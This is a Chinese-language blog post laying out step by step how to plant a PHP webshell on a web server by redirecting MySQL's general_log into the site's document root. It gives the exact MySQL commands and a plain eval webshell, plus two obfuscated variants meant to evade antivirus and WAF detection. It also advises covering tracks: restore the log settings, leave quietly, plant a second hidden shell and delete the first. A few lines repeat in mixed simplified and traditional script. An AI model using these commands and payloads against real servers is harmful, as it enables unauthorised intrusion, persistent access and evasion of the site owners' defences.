Kate Li (Taiwan)的部落格

首頁

利用mysql general log寫shell可行性簡要分析

作者 veca 時間 2020-02-27
all

0×01前言:

  實際滲透過程中,我們很可能會遇到這樣的情况,明明是正兒八經的mysql root許可權,但實際利用into outfile寫shell的時候,卻怎麼都寫不進去,前提可以肯定的是,我們對目標的網站目錄絕對是有寫許可權的且mysql的root用戶本身並沒有被降權,一般出現這樣的情况很可能就是因為into outfile被禁用或waf攔截,希望下麵的管道能幫到你

0×02拿shell:

  利用mysql日誌檔來寫shell,究其原理其實也非常簡單,當我們開啟general_log以後,每執行一條sql都會被自動記錄到這個日誌檔中,我們就可以通過這種管道,把我們的shell程式碼也自動寫進去,運維可能平時都是拿這個來查慢査詢,只會臨時開啟下,所以,如果想利用,就只能我們自己手動開,這就是為什麼要root許可權才行,因為它涉及到mysql自身參數配寘,其實,這裡稍微有點兒mysql常識心裡都很清楚:

先看下当前mysql默认的日志位置在什么地方,'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log'
顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来
mysql> show variables like '%general%';

默认基本都是关闭的,不然这个增删改查的记录量可能会非常大
mysql> set global general_log = on;

默認基本都是關閉的,不然這個增删改查的記錄量可能會非常大mysql> set global general_log = on;

此时,再将原本的日志文件位置指向到目标网站的物理路径
mysql> set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php';

开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell
mysql> select '<?php eval($_POST[request]);?>';

開始寫shell,這裡就是個普通的shell,不免殺,如果有waf的話,可以用下麵的免殺shellmysql> select '<?php eval($_POST[request]);?>';

mysql> select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>"; 免杀shell,eval方式
mysql> SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['klion']));?>"; 别人的免杀shell,assert&base64encode方式

0×03務必要處理好後事

最后,干完活儿以后务必记得把配置恢复原状,然后悄悄的离开就好
[不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡]
拿到shell记得马上再传一个shell[放的隐蔽点,关于webshell隐藏细节,请参考博客相关文章]
然后再通过新的shell把最开始这个shell删掉,谨慎一点,起码不会让你的shell掉的那么快
mysql> set global general_log_file = 'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log';
mysql> set global general_log = off;

0×04後話

  並不是什麼特別新奇的技巧,都是mysql自身的一些基礎特性挖掘利用,大家真正的理解才是主要的,利用過程中可能並非一帆風順,把解决問題的過程記錄下來,才是你真正的收穫,祝大家好運

0×05想成功利用的兩個必要條件

事先要想办法找到目标站点的物理路径,不然要把log指向哪里呢
因为我们从外部能访问并执行webshell的地方只有目标的网站目录
当前数据库服务用户对所上面指向的目标网站目录必须能写,不然,log文件是根本没法创建的
其实,说实话,能同时满足这两点的目标并不多
如果目标网站对错误处理的很好,web服务用户和数据库用户权限隔离很清晰基本也是很难利用成功的,确实略显积累,但不失为一种好思路,非常值得拓展
像这种东西可能还是比较适合那些集成环境,比如,appserv,xampp...
因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高[实际上多数都直接是system]

歡迎大家多多關注‘我的部落格‘ 或直接掃碼關注個人微信公眾號‘apt攻防指南’,一般都會首發這裡,其它平臺會陸續更新推送,自己一直也都非常期待能和更多志同道合的朋友一起學習交流